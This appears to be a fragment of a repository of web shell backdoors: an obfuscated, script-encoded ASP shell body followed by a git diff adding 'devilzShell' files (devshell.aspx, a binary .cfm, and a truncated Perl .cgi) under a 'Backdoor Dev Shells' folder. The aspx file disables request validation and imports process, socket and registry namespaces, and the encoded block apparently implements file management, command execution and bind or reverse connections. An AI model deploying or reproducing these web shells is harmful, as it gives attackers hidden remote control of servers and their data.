CVboU)1+UODiSrNDt)8TT]pJr@*EP'~b:LVbU3,[~E@!k:L~Sk[Y4xrJ0Z!rJPkD1xJrgr:T'E~LP0 C:P[,EEJ,l^YxJEErPdYHs+{JEhmDorU=%26,C!YGpwmNNbxTl!p4GD9+.lZiJr~z@*@!z9r-@*r@#@&d72sd@#@&di701WUO,'PEE@#@&7dAU9P(6@#@&ddU+D~0kPxPU+.-DR;.+mY+}8%+1YvJjm.raYrxT sbVnjH/Ynh}4%+1Or#@#@&di?+DP6~',0dRV+OobV+vWxm:+*@#@&di0bVnmOrs+~',aNmYnWKD:COv0 fmOZ.lD+N*@#@&7d6ks+mYrhP',aNmY+6G.:mYv0 fCOSC/D)m1+ddN#@#@&idWk^nsYrs+,'PXNmO+6W.:mYcWcflDnSm/YtG[k6kNb@#@&7i/nY,W' WO4bxo@#@&idd+D~6/x WDtk o@#@&di0CmDkGU,'Pr@!l,tDWxJrg9k.'E~LPam^nl wCO4`Nr.*P'Pr'7knS'rP[,0 C:P'PrJE@*ANkD@!zm@*P-~@!l,tM+W'EEQonY{EPLPWUm:+~',JEJ@*9KhU^WmN@!Jl@*~u,@!CP4DnW{JJQ[kM'J,'~61VlUwCO4`[kMbPLPE'9+VxE,[~0 Cs+~LPrJJ@*IhW7+@!zm@*E@#@&dd6-khP{~E@!mP4Dn0xErg[kMxJ,[~a1V+CUalOtv[bDb,[,J[aDK2+MYr+k'E~LP0 C:P[,E'YHw'O+aOrJ@*@!k2l P^sm//xEroCE^Er@*,,@!J/wmx@*O+XY@!/alU~1Vlkd'rJom;sJr@*,T@!zd2mx@*@!JC@*@!l~4M+0xErg[kMxrP',61V+mxaCY4`[kM#~',J[a.Wa+DDrn/{J,[~0UCs+~[,E[DX2n{k:LEr@*@!/aC P^^lk/'rJTCE^JE@*]P@!&kwl @*kslo@!dwmx,msldd{JEom;VrJ@*~Y@!zd2mx@*@!JC@*J@#@&dAxN,q6@#@&i0Gh +.~{P66rVWh n.`6xm:n#@#@&i02+MhP{PaWbV+2nM:d`6Um:n*@#@&dD/!sY,'~J@!Nr-,/YHs+{JJ9rdw^lH)rxsr +IJr@*J,[m@#@&dJ@!WKDhPm^DkG 'rJgrJ,h+DtGN{JELYJr~/DXVxEJslMorxlTpwCN9rxT)q2XP%2apYn6DRmVrTx=V+6YpEJ@*J~[|@#@&7r@!k 2EDPYH2n'rJ4k[NnUrJ~xmh+{JE[bDJE~7lsExrJE,[,NkMPL~JrJ~z@*J~'|@#@&iE@!bxw!O~YHw'EJ4r9NnxrEP lhn{JJGs90rVUm:nrJ,\l^ExJrJ~[,0UCs+PL~JrJPJ@*EPLP6l^YrG P'Pr~uLx8daiJ~'|@#@&dr@!kwC @*@!kxaED~/DXs+{JEAbNY4l*Z]irE~YHw'EJOnXYEJ,Uls+xErwDG2DOkdrJ~7l^E+{JrEPLPWxm:n~LPJrEPJ@*[ 8dwpJ,[m@#@&7r@!rxa;Y,/Oz^+'EESk[Y4l8 Ta6rJP1Vmd/{JE4DxEE,YXan'rJ/!8hkDJrPUlhn{JE4DUIxChJJ~-mV;+{ErIn ls+JrPJ@*J,[m@#@&dE@!J/wmU@*rP[|@#@&dr@!9k-P^sm/d'rE0aDG2rJ@*E~L{@#@&iEUk"P{PJ,[,W/bynPLPE@!(DPJ@*J,[{@#@&7J}h +.Px~@!/2l ~m^ldd{JJLC!VEJ@*c,@!&kwmx@*rPL~0KhU+MP'~r@!/aCx,mVmdd'rJTl;VEE@*Pb@!Jdwmx@*@!(DP&@*rP'{@#@&iJKDsk/kkKUP{P@!/alU~1Vlkd'rJom;sJr@*vP@!zd2mx@*J,'P6wn.sP[~E@!/2l ~1VCk/{JJTl!sJr@*~#@!zd2mx@*@!8D,z@*r~'{@#@&iJ/DnCD+~Kbh+,'~@!kwlU~1VC/kxrJLmE^JJ@*`,@!zkwCx@*J~',0k^nmDk:~'Pr@!kwCx~^^ld/{EJTl;srJ@*~b@!zdwmU@*@!8MPJ@*J,[|@#@&iJJlkY~\KNk6r+9P',@!dwmx,msldd{JEom;VrJ@*c,@!zd2mx@*J,',0r^+sYks+,'Pr@!dwmx~^^l/kxJrol!sEJ@*P*@!&/2C @*@!4M~z@*J~'|@#@&7EdldY,)1mnk/NP{P@!dwmx~m^ldd{JJTCE^JJ@*c~@!J/alU@*E~LPWk^nlDkhn,[PE@!kwCx,^^ldk'rJomE^EJ@*Pb@!J/2C @*@!(.PJ@*J,'m@#@&d6\r+A~L{@#@&iE@!JNr-@*JP'~6mGxD~L{@#@&dr@!z6WMh@*rP'{@#@&7E@!zNb-@*r@#@&Asd+&0v`]+5;/OR5;+MXjOMkxLcr\r+SE*P@!@*PrJ#,rM~`"+5E/O 5E+Mz?DDk LcJ6k^+Ulhnr#~@!@*~Jr#b~:t+U@#@&dh/T~{PEr@#@&dq6`"n;!+dYcsG.s`JkC\J#,x~JUl7+~bdE*PPtU@#@&d7WbV+~x,K.ksc"+5!+kYRwWMh`r/C\ldE*#@#@&7d1WxDnUY,',In;;nkY sK.:vJWr^+/G;MmnJ*@#@&d7&0v60bVdl7+c0bVnS1WxDnxD##,P4+ @#@&d7d2nklUP{~Jwksn,?l-n9J@#@&i7AVd@#@&ddiwdl PxPrsCr^+N,OW,/l7n~0bVJ@#@&77Ax[P&W@#@&d7hkoPx~r@!dwmU,/OHV'Jr0^GlD).kTtOIrJ@*@!dwmxP1sC/k'rJLl;srJ@*$,@!zkwCU@*JP'~a+dl ~LPE@!/alx,m^C/k'EJTl;srJ@*,D@!J/wmU@*@!J/alU@*E@#@&d3Vkn@#@&d7(6`In5!+dYc}!+.H?DDk ovE\b+AJ*P@!@*,JJ*~K4+x@#@&7di0bVnPx~:Dr:v]+$EndDRp;nMXjYMr ocr\b+hr#*@#@&id3Vk+@#@&idd6rVP',a/h9PLPPDrhvIn;!n/DR};DXjOMkUovE6ksxm:+r#*@#@&id3x9P(W@#@&dAUN,q0@#@&7D/!VOPx~X0rVGwxcWbV+SWmVd+*@#@&d./!VY,',4YsVdwmrC^mtm./vD+k;sY*@#@&d.+d;^Y~',E@!aPdOHV+xErwCN9r olZislDTk l!pYn6DOCsbox=s+6YirE@*@!mP4Dn0xErg[kMxJ,[~a;hN~',J'wMGa+.Dk/'rPL~0bVnPLPEEr@*J,'PX0k^ndEs:mDz`Wr^+bPL~J@!zC@*rP[~hko~[,E@!z2@*@!9k\,/DzV'EJ1VnCM)4KOtp:lMLrx=!pwCN[r ol!pEJ@*@!&[b\@*E~L{@#@&iE@!0GM:,lmDkKU'rJ_NbDxE,[PX/h9P[,E'\b+S'EP'~6ks+,'PrJE~s+Y4G9'EJaGkYEr@*rP[|@#@&7J@!Yn6Dl.nmPxmh+{JJ6rs+kW!D^+EE,/OX^n'rJAr9YtlqZ!Yi4nbo4D)y!!a6pEJ@*J~[,Dnd!VY,'Pr@!zDnaYmDl@*J~'|@#@&dr@!k w;O,YX2n{JEYaDJE,/DXV'rEhbNOt=%TYpJJ,~xm:+{EE/m\bdJE~7lsExJrJ~',0ksn,[~JrE,z@*Lx(/wpJ,'{@#@&7J@!kU2!YPDzw'Jrd;4skDJEP^sm/d'rE4DxEE,/Yzs'EJSr9Y4=Fy!wXirEP lh+{JEdm\+rEP7lV!nxJr?m\nP)drJ~z@*@!z6W.h@*J@#@&3^/n@#@&7M+d!VDP',69rDv6/h9#@#@&AxN,(0@#@&@#@&(W`mEDtbPP4x@#@&i(0vIn5!+/O 5EnDHjDDr ovJ4aWMOZr#~@!@*PEE*PK4nx@#@&di82WMY;PxP]n$En/D p!+.zUYDrUT`E4aGMY/r#@#@&dAVkn@#@&d74aW.O;P',dtVV|WC\|wKDO@#@&7Ax[P&W@#@&d(WvI+5;/OR5;DzUYMkxT`rswKDOZr#~@!@*PJrbP:t+ @#@&diVaW.Y/~{P]+$;+kY }!+DzjDDrxTcrV2KDDZJ*@#@&72^/n@#@&d7saWDD/P{P/4nsV|0m\mwG.D@#@&dAUN,qW@#@&dtOh^{OkDsPx,/4+V^{DrY^+~[,J~E,[PX/h9@#@&i4O:^{4+CN~x,JEPLm@#@&J@!ObYVn@*rP'P4OsVmDkDV+,[,E@!JYrY^+@*E,[{@#@&J@!Vk V~DV{JE?u6"K/j:~q;rHErPt.n6'EJr~LP];!+/DRUnD7+..mDrC(V+kcJUZI&KP{gbt2E#~',J_ksL'bmGUrJP&@*rP'{@#@&rJ~LPkt+^V|dYHVnPLPEE,[{@#@&J@!/mMr2Y,YHwn'EED+aYJ%l7ld^MkwOEr@*EPLm@#@&E6E mYbW ~EaNCYqUWK`4Kak9~YH2b rPL{@#@&E7b0cYH2P{'~T* J~'|@#@&Ji77l.,wKVl,',v+Xlhw^+l~vE/bUo,x+D^CY*PMEUP'5!WOi ^P V~RaP{mK}IP{|'$EGDi,lx9PD4+ P2D/d~;Wx nmDBiiE~[|@#@&J78E~L{@#@&r7+^/n`rP[m@#@&J7d7CMP2KVmP',Balsws+=Pc;kkxT~xYmmObPaD/dP'5!WOidr/D+U'$EWOI,lUN,O4+U,D!xPL;!GYpx^PrP'~X?+M-+Mqn,'~J,{|n6IPm|[5EKOiEi7E,[{@#@&rdNJ,'|@#@&rJ,[{@#@&r7\mD~wKDOU!:P{~NKmEsnUYcoY3VnhxOAH(Nv4GabN# -mV;+pE,[m@#@&rJPL{@#@&Ji\CD,tCdbVP{~wKVlc.nw^l1+cBmmhr]K|mBBP2GMYx;h*iEPLm@#@&EiNKmEs+ ORT+O2^+hn YAH(Nv4WXr[_E{E# kUUDuKtJP{P4CkkVIE,[m@#@&E)J~L{@#@&JrPLm@#@&JWE mOrKxPk4WS`4KarN* rP'{@#@&rd-lM~4K6~x,NW^;s+UYcLY3^+s+xDAH(Nv4G6bNbIrP[|@#@&rdk6c8WXRkYzVn 9kdw^CX,"x~Ekxsr +v#PE,[m@#@&rdd9W1;:xORT+O3^+:UY~Xq9cvxh6ks+vbc/OX^nR9kd2^lX~x,BUW nEiE,[|@#@&rdi[W1Eh+ Y LY2^n:xY~z(NvB +A0Gs9+.B* /DXsncNkd2^lzP{~ExG +EiJ,[|@#@&rd7NKm;hxYcL+D2VhnxDAHq[`vUh;w^Gl9Bb kYXsncNr/asmX~{PExW +EIJ,[m@#@&J779Wm!h+ YRTnO2^+s+UY$z&NcB nh1trs9B# dDXs+c[b/2^lHP',B GxBIJ,[m@#@&Jdi[W1E:UORT+D2s+hn Y$X&[`ExnA1WxUn1Yv#cdDXsR9k/aVmzP{PvxKxnvpJPLm@#@&Jdi[Gm!:xORLnD2s+snxDAz(9`B[r7{n\msE# kYHV+cNbdw^lzP{PvUKx+EIJ,[{@#@&EJ,[|@#@&J77(WaRkOX^+ [b/wsCHPxPEr Vr +EiJ,[|@#@&rd74K6 WKmEkc#pJPLm@#@&rd)J~[m@#@&J7+^d+,4Gac/YzsR[kk2^lz,',BxKxvirP'{@#@&ENrP[|@#@&rJPLm@#@&r0!x^YrG P4kT4Vbo4O4+6[;swcl9[M+dk#PJPL{@#@&Ji\CD,YC.T+Y,xP9Wm!hnxDRT+O2sns+UY~zq9`C[9D+dd*iEPLm@#@&EiYmDoYcdYHVnR(l^VTDW!UN,'PEE~[,/4+sVm^KVGD,'PrBIE,[{@#@&r8EPLm@#@&E6E mYbW ~E tro4VrL4YtaN!:wvC[NM+k/b E~L{@#@&r7\mD~OmDonO,'~NK^!:n Yco+D2^n:xOAHq[cmNNMn/k#ir~'{@#@&rdOl.LY /DzVR8C13o.G!x[P{~ExG +EiJ,[|@#@&r8EPL{@#@&r@!zk^DbwY@*E@#@&4YsVm4G[HPxPrEPL{@#@&r@!Nr-,k['rESDCawDJr@*r~[|@#@&J@!tq~Kx:K;/W\.xJrY4kdRdOHVnR1;DkW.xEwWrUD+.BpO4kdc/DXVR1;DkW.'EtCU9BirEP,Wx1srm0'rJAkU[Kh VK^lDkGU{PB_vpJE@*@!C,t.0{JJQJr@*J,[~/4+ss|YkDs+,[Pr@!&l@*@!Jtq@*E~L{@#@&r@!Nb\~^^l/dxrJ8WXEr@*E,[,6Cl9nD,[~JrP'm@#@&J@![k7Pm^Cd/{Jr02lO4rJ@*J,'{@#@&a[Mk\nc*P'PX2mDdNbD`XZS[#,[m@#@&J@!&9k\@*EPL{@#@&EEPL{@#@&E@![r7P^Vmd/{JEhxEEE@*J~[|@#@&J@!mP4D+6'rELm\C/1Dr2D)/4GhvBxAWk^+E#IJE@*@!/2l ~m^ldd{JJLC!VEJ@*,,@!&kwmx@*,1APwks+@!/2C Pm^C/k'JrLCE^Jr@*~T@!&kwCx@*@!zm@*'U(/wIE,[m@#@&E@!l~4D0'rJNC\m/^DbwOlktWScB +h6GsNDE#IJE@*@!/2l ~m^ldd{JJLC!VEJ@*,,@!&kwmx@*g+S~sKV[+M@!d2mxP1slk/'rELl!VrJ@*PD@!J/2l @*@!Jl@*' 4/2IrP'{@#@&r@!C,tM+0{Jr%l7ldmMk2O=/tKA`Ex+S^4k^NE#IJE@*@!/2l ~m^ldd{JJLC!VEJ@*,,@!&kwmx@*"+ask1lO+@!/2C Pm^C/k'JrLCE^Jr@*~T@!&kwCx@*@!zm@*'U(/wIE,[m@#@&E@!l~4D0'rJNC\m/^DbwOlktWScB +h!2sWmNE#IJE@*@!/2l ~m^ldd{JJLC!VEJ@*,,@!&kwmx@*`w^Gl9@!dwmx~^^l/kxJrol!sEJ@*PY@!&/2C @*@!zm@*[ 4d2pJP'm@#@&E@!m~4Dn6'rJLm\mdmMk2Y=/4GS`B nh1Wx n^YE#pJE@*@!dalUP1slk/xErol;srJ@*$,@!J/2mx@*Ak NU4+^V@!/alU~1Vlkd'rJom;sJr@*,T@!zd2mx@*@!JC@*Lx8daiJ~'|@#@&J@!C,t.0{JJNl7C/1DrwD)d4Kh`E[k7{+7CsB*irJ@*@!d2mx~m^C/k'EETlEsEr@*,P@!&kwC @*jA/,27CV@!/2l P^sm//{EJTlE^EE@*,T@!zdwCU@*@!&l@*'x(/2IrP[m@#@&J@!z9r7@*E,[|@#@&rJ,'{@#@&E@!9k-~1Vlkd'rJtb[[+ JrPrNxErxnh1Gx +^OrJ@*E~L{@#@&r@!6W.sPs+Y4W9xJronYrJ~C1YkKU'rJgrE~/DX^+xJE[b/2Vmz)bxsr +ihCMorx=TpwC9Nbxo=!pEJ@*J~[|@#@&E@!Yl(s+,mVmdd'rJD4sAGarJ~/DzV'EESkNO4=FT!uIrJ@*rPL{@#@&J@!rxaEOPDX2n{JJ4rN9+xrE~xm:'EJ[rMJEP7CV!+xErJP'~XZAN,',JErPJ@*J,[|@#@&r@!OD@*@!O[,/YHs+{JJSr[Y4)8&TwaIrJ@*Am^3;WUUmY@!&DN@*@!D[,/OHV'Jrhb[Y4)+!ZwaIrJ@*r~[|@#@&rKGDD[ 4dwI@!bx2ED~:m6sn oY4xrJXJr~bNxrJ(lm0ZrEPKxV+HE2xrJEa[lD+q WG`E4mmVZvSZ#IJr~/DXsn{JJAr9Y4)+Ta6IrJ,YXa+{EJD+aYrJ~Um:+{EJ(wWMO/JrP7lsEnxrJEPL~4aW.O;P[~ErJ~z@*E,[m@#@&r[x(/aI@!bx2EDPdOHV+{EJSkND4lFZ!a6IJE~DX2+{EJkE8hbYJE~1VC/kxrJ8DxrJP lsn'rJ8Y ZGU +mDEJ,\l^;n'rJ;WUxn^DJEPJ@*J,[m@#@&J@!&O9@*EPLm@#@&E@!Y9@*@!kwmUPbNxJr4C^0Z{rEP1VlkdxJr:ko^WUEr@*n6mhw^+l~vE/rUTPU+D^mYb,D!xPL;!GYpx^P V~RaPJ,'P(wWMO/PLPr[5EGOpPCx9~Y4+U~aD+dd,ZGx n1Y@!J/alx@*@!JON@*J~[|@#@&E@!zYM@*J,[{@#@&EJ,[|@#@&J@!OM@*@!Y9@*Sb/On @!zO[@*@!ON@*E,[m@#@&rnWMYLU4kwI@!bx2;DP:maVxoD4xJr*rJ~k[xrJskkO+ ZEE,WxVnHE2'rE!w[mYqx6WvvVb/O+ ZvS8#irEPkYX^nxJrhbNOtlZwairEPDX2n{JJOnXYEJ,Um:n{JrVwKDD/JrP-l^EnxrJJ,'P^wWMO/PLPrJEP&@*rP'{@#@&JLx8dai@!rUaEOPkOHVn{Jrhk9Y4lFZ!26pJE~DXwxJr/E(hrYrJ,msldd{JE4DUJrPUCs+'EE(YUSbdD+UrJ,\l^ExJrSr/D+UErPz@*EPL{@#@&E@!zDN@*J~[m@#@&J@!Y9@*@!kwCU,kNxErVr/Dn ZmrJ,mVm/kxJr:do1WUEr@*+XC:aV+=~cEkk o~xnO1lO#,2D/d~L;EGOpSr/Dn [5!WDiPmx9~Y4+UPMEU~L;EKOi mPr~'PX?D-+.(hP'Pr~J,[~saWDO/,[~JL5!WOp@!J/wmx@*@!zDN@*J,[m@#@&J@!JOD@*JPLm@#@&r@!JYC4sn@*J~[|@#@&r@!&WKD:@*E,[m@#@&E@!z[b\@*JPL{@#@&JrP'{@#@&E@!9k\,^Vm//{EEtbN9+UJE~bNxJrU+S0Gs9+DEE@*J~[|@#@&J@!6WM:Ps+D4W9'EJT+OErPl1OkKx'rE_JrPkYzVnxrJ[kk2VmXlr VkUnp:CDTr )TpwmNNbxTl!pJE@*rP'm@#@&J@!rxaEY,Ozw'rJ4k[[xEJ,Uls+xErNk.ErP-l^;'ErJ,[PXZS[PLPEJrP&@*rP[|@#@&r@!Ym8s+,m^ld/xErY8V~G6rJ~dDXVnxrJAk9O4)X+!a6irJ@*EPL{@#@&r@!O.@*@!Y9~/DXVxEJSk9Y4)q+ZwairE@*g+A~wWV[nMxC:@!JY[@*@!DNPkYHs+{JEhbNO4=&!W26pJJ@*E~[|@#@&J@!kU2!Y~/DzV'EESkNO4=&T!aapJE,YHw+{JrO+XYEJ,xCh'JrWW^N+MUC:JrP-ls;'EJ nh6Ws[DJE~J@*EPLm@#@&E@!zDN@*@!Y9@*J,[m@#@&J@!r wED~/DXVxEJSk9Y4)qTZwairEPDX2n{JJd;(:rYrE,msm/k'Jr4DUJrPUls+xEr4Y H+S0W^[nDrJ,\CV;n{JEZMnlD+EE,z@*E~L{@#@&r@!JY[@*@!JYD@*J,'{@#@&E@!JYC8^+@*r~[|@#@&r@!&0KDs@*EP'm@#@&E@!J[k7@*E~L{@#@&ErP'{@#@&r@![b\,mVm/kxJrtrN9+UErPk9xJrx+SWrVJr@*EP'm@#@&E@!6GDsPC^DkWUxrJ_Jr~s+O4W9'JroOJrPdYHVnxrJNbdw^lX=rUVbxihl.Lbxl!p2l9NrUT)!IEr@*EPLm@#@&E@!k wEDPDzw'EJ4k[[xJr~xm:+{EENbDrJ~\Cs!+xJrEPLPa/SNP'~rJEPJ@*rP'|@#@&J@!Dl(s+,mslk/xErY4^$WXJJ,dOX^+{JEhr[Dtl*+TwXiEE@*JP'm@#@&E@!D.@*@!O9PkYX^+{EJSk[Y4)q+Zw6pEJ@*1+S~ok^+ lh+@!&DN@*@!D[PkYzs'JEAbNOt=fZc2XirJ@*rPLm@#@&J@!k w;O,/YHs+{JJSr[Y4)2!TwaIrJ~YH2+{JEO6YEE,xC:xrJWbVxls+rEP7lsE'EE +h6rVJJ,&@*J,[|@#@&J@!&DN@*@!D[@*rP'm@#@&J@!r w;Y,dDXs'rJhbND4)8!TwXiEE,YXan'rJ/!8hkDJrP^VCdk'EJ(OxrJ~Um:+xEr4OxgnS0r^+rJP7l^;+{JEZM+COJJ,&@*rP[|@#@&J@!zDN@*@!&OM@*EPLm@#@&J@!&6WDh@*rP'{@#@&r@!&Dl(V+@*J,'{@#@&E@!JNr-@*JPLm@#@&JJ,'m@#@&J@!Nr\~^^ld/{EJ4k[[xJE~bNxJrUh;aVKlNrJ@*EPL{@#@&r@!WGM:PsnY4WN{EEwK/DJEPC^DkGx{EJQNr.{JP'~XZAN,',J'!w^Wl9'HEJ,+UmDX2n{JJs;VDkwm.Oz6WM:RNCOmJEPkOX^+xErNkd2^lz)bU^kUislDTk l!pwCN9kUL=!irE@*rP[|@#@&J@!Ym4s+~^^ld/{EJD4s$K6JE~kYzVxrJAbNDt)lvZ26pJE@*rP'm@#@&J@!OD@*@!Y9~dYHV'EJAr9Y4)8+!a6IEr@*?C-PC/@!&DN@*@!Y9@*@!bxa;Y,/OX^+xErhk9Ot=&!Z2airJ,YzwnxrJO+XOJrPUCs+'EE6ks+ Cs+ErP7lV!+{EJrJ~z@*@!&O9@*@!JOD@*JPLm@#@&r@!DD@*@!O[,/OX^n'rJAr9Ytlqy!26pEr@*oMWsPjMV@!&Y9@*@!Y9PdOHV+{EJSkND4l&Zca6IJE@*rP'{@#@&J@!kU2!YPdOHVn'rESk[Dt=&!ZwXIJrPOXa+xErY+XOJrPxmhn'rJ6ks+;.^JEP7CV!+xErJJ~&@*J~[|@#@&J@!JY9@*@!DN@*@!k w;Y,/Oz^+'rEhbNY4lq!ZwXiEJ~OHwn'rE/!4hrDJJ~^^ld/{Er4O JrPxm:xJr4Oxg+AiaVWm[jMVJr~-l^E'EJ!nDJEPJ@*@!JY[@*@!zY.@*rP'{@#@&r@!OM@*@!YN,/DzV'EJSk[O4)FyTwXiJr@*oDK:,ZG:2;D+.@!JON@*@!O[,/Yzs'EJSr9Y4=&ZcwXirE@*rP'{@#@&E@!bxw!OPkYX^nxJrhbNOtlfZ!26pEJ,Yz2'JEWbVnJr~ lh'rJ0bVsW1lsJrP&@*rP[|@#@&r@!zD[@*@!DN@*J~[m@#@&J@!k 2EDPdOHV+xErhrND4=FTZwXiJrPDzw'EJkE8hbYJr~m^l/kxEJ(Y JEPUCs+xJr8Y 1nA`wVGC9SGmmsrJ~7l^E+{Jr!+DJEPJ@*E~L{@#@&E@!JYN@*@!&YM@*rP'{@#@&r@!&Ym8V@*E~L{@#@&E@!zWWMh@*J~L{@#@&J@!z9r\@*J~[|@#@&ErP[|@#@&r@!Nb-~m^lk/xJE4bN[+ EJ,k[xrJxnA1trV9Er@*E,[|@#@&r@!6GDsPh+DtG[{JJTnYrJPm^OkKx{JEgEE,/OX^n'rJ[rkwVCz=kUVbUihmDTkx=!p2l9NrxT)TIrJ@*r~[|@#@&r@!rxaEDPOX2n{JEtb[NxEE,xlhn{JENb.rJ~7l^E+{JrEPLPaZSN~',JJr~z@*JPLm@#@&r@!Dl8Vn~1VC/kxJrY8s~W6EE,/OX^n{JESk9Yt=*+TwXiEJ@*J~'|@#@&r@!YM@*@!D[~/DX^+xJEAbNOt=q ZwaIrJ@*HnSPjts^xCs+@!zY9@*@!ON,/OX^+xErhk9Ot=&!W2airJ@*J~[m@#@&J@!k 2EDPdOHV+xErhrND4=&TZwXiJrPDzw'EJD+aOrJP C:'Jr^4k^N lh+EE,\CV!n'rJE~LP/4n^VmxmhP',Jcl/aJrIPJ@*EPL{@#@&r@!zD[@*@!YN@*@!rxaEDPdYzs'EJSrNDtlqZ!waIrJ~YH2'Er/!4:bYrEP1VC/k'EE(YxrEP l:xEJ(Y 1nh^4bV[Jr~\mV;n{JJ/.lO+rE,z@*rPL{@#@&J@!&Y9@*@!zDD@*E,[{@#@&J@!zYm8s+@*J,[m@#@&E@!zWWMh@*rP'm@#@&J@!&9k-@*r~L{@#@&JrP[|@#@&E@!9k-P1VCdk'Jr4k9N+ EEPbN{JENr-|+-l^EJ@*J~'|@#@&E@!6W.:,hY4KN{JJT+DEJ,l^YbWUxrJgrEPkYX^nxJrNb/2VCz=kUVbU+p:C.TkxlTpwCN9r olZirJ@*rPLm@#@&J@!k w;O,YXan'rJtb[[+ JrPUlhn{JENb.JrP-C^E+xErJ~[,a;h[,[,JJrPJ@*J,[m@#@&J@!Om4V~m^l/kxEJD4^AG6EE,/OX^n'rJAr9YtlX+!26pEr@*E,[|@#@&r@!D.@*@!Y[@*rP'm@#@&J@!O+XYlMnCP ls+xJEn7lsJr~/DXsn{JJAr9Y4)8TZ]I4+botD)8T!a6IJr@*@!&D+6DCDl@*r~'{@#@&r@!&Y[@*@!zOD@*@!YM@*E~L{@#@&E@!Y[PkOHVn{JrY+XY CVboU)MkL4DiJr@*@!bxw!O~/DX^+xJEAbNOt=q!ZwaIrJPOza+xJrd!4hbYrJP1Vmd/{JE4DxEE,xlsn'rJ4DU3\mVrJ~\Cs!+xJr3\mVEE,z@*@!&DN@*@!JOM@*E,[|@#@&r@!JOl(Vn@*rP'm@#@&J@!&0KD:@*E~[|@#@&J@!z[r7@*EPLm@#@&JE~L{@#@&E@!Nr\,^^ldk'rJ4KYDG:SDCwa+.Er@*J,'{@#@&J@![r\,m^ld/xErmhN(G6rJ@*E,[{@#@&r@!WWMh,l^DkKx'rJQEJ,:nY4W[xrJoOJr@*J,'m@#@&J@!kUw;O,YzwxJrtr[9+xEE,xC:xrJ[bDrJP7l^;+{JEJ,[~a;hN,'PrJJ,&@*J,[|@#@&J@!Om4s+,dYHVnxrJhr[DtlFZTuiEr@*@!YD@*J,'{@#@&E@!DN~dDXVxJrhk9O4)R%uiEJ@*@!bx2ED~YHwnxrJYnaDJEPb[{JE1:9JJ,xmh+{JEmsNEE,\l^;+{JJrE~/DX^+xJEAbNOt=q!Z]IErPz@*@!JY[@*r~L{@#@&J@!YN,/DzV'EJSk[O4)FZYirJ@*@!rUw!Y,YzwnxrJdE(hkDJE~1Vldd{JE4DUrJ~ ls+'rJ(Ox;Wh:mx[ErP/DzV'JrArNDt=F+!2apJEP7CV!+xEr26n^!YnJr~J@*@!JY9@*@!JYM@*@!JYC4^+@*E,[{@#@&J@!z0K.h@*rPL{@#@&E@!JNr\@*EPL{@#@&rJP'm@#@&E@!9r7P^^lk/'rJMn/!VOJrPr[{JJMn/!VYrE@*J,[|@#@&JE~LP.+k;VDP'~rJP'm@#@&E@!J[b\@*@!z9k\@*@!J[k7@*@!z9k-@*r@#@&As/@#@&i4O:^{DkOVn~{PdtsV|0CV{xCh@#@&d4OsVm4+mNP{Pr@!YbYs+@*J~',tYss{DkY^n~[,J@!zOkOs@*EPL~/4+ss|/Yzs@#@&d4OsVm(W9XP{PrEPL{@#@&r@![r7P/DzV'JrhCDTk )f!2apJE@*r~[|@#@&E@!Nk-@*rP'{@#@&r@!WKDsPl1YbGx{JEgrJ~hYtK['rJwKdOJr@*rP'{@#@&r@!rxa;Y,k[xrJmh[rJ~YH2'ErY6YrJ,Uls+xJrwCdkhJr~\mVExEJrJ,z@*J~'|@#@&JLU4kwI@!bxw;O,YzwxrJd!4skYrJ,Uls+xJr4OUal/kANrJP7CsE'rJ63EE,z@*J,'{@#@&E@!J0W.h@*J~[|@#@&J@!JNb\@*rPLm@#@&J@!Nb\~dDXVxJr0W OR/by)q!2apJE@*r~[,/4n^V{WC0+mxmhP',J@!zNb\@*EPL{@#@&r@!&[b\@*r@#@&AxN,(W@#@&q6PHWO~`wsWm[+9PP4x@#@&7&0c`"n$EnkYcpEDHjYMkUovJ^h9J#,@!@*,JJ*~6D,`"+5EndDRoWMh`rwCdkhJb~@!@*~Jrb*PP4+ @#@&id4O:^{Gx^WC[,'PrGx^Wl9xEJ9W1Eh+UOconYAs+s+UO~Xq[cEmhNEbc0G1Ek`#pJrE@#@&d3Vk+@#@&idtDhV|Wx^GCN,',JE@#@&7Ax[P&W@#@&2U[,q0@#@&4YhV|WbxC^P{PJrPLm@#@&J@!tD:s@*rP[|@#@&r@!tC[@*rPL{@#@&EE,[~tDhV|tnC9P[~ErP'{@#@&r@!&4+mN@*rPLm@#@&J@!4KNz~rP[,4YsV{KUsWmN,[~J@*E,[m@#@&E@!9k-~bN'EEslrxS.mw2DrJ@*rPLm@#@&JEPLP4OsV{(GNHP[,EEPL{@#@&E@!&[b\@*J,'{@#@&E@!J4W[z@*J~[|@#@&J@!JtD:V@*J@#@&I/2W /n ~kxm.XqDkDnctD:^{WkUC^#@#@&C+VGAA==^#~@%> \ No newline at end of file diff --git a/Backdoor Dev Shells/devshell.aspx b/Backdoor Dev Shells/devshell.aspx new file mode 100644 index 0000000..b342cdb --- /dev/null +++ b/Backdoor Dev Shells/devshell.aspx @@ -0,0 +1,1244 @@ +<% +'# +'# devilzShell <[aspx]> +'# ^^^^^^^^^^^^ +'# author: b374k +'# greets: devilzc0der(s) and all of you who love peace and freedom +'# +'# +'# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +'# Jayalah Indonesiaku +%> + + +<%@ Page Language="VB" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%> +<%@ import Namespace="System.IO"%> +<%@ import Namespace="System.Diagnostics"%> +<%@ import Namespace="Microsoft.Win32"%> +<%@ import Namespace="System.Net.Sockets" %> +<%@ import Namespace="System.Net" %> +<%@ import Namespace="System.Runtime.InteropServices"%> +<%@ import Namespace="System.Text.RegularExpressions"%> +<%@ Import Namespace="System.Threading"%> + + + + + + +
+
+

+
+
+ + + + + + +
+
+
+ + + +
+
+ + \ No newline at end of file diff --git a/Backdoor Dev Shells/devshell.cfm b/Backdoor Dev Shells/devshell.cfm new file mode 100644 index 0000000..7af4c43 Binary files /dev/null and b/Backdoor Dev Shells/devshell.cfm differ diff --git a/Backdoor Dev Shells/devshell.cgi b/Backdoor Dev Shells/devshell.cgi new file mode 100644 index 0000000..a31cd50 --- /dev/null +++ b/Backdoor Dev Shells/devshell.cgi @@ -0,0 +1,20 @@ +#!/usr/bin/perl +## +## devilzShell <[cgi]> +## ^^^^^^^^^^^^ +## author: b374k +## greets: devilzc0der(s) and all of you who love peace and freedom +## +## +## 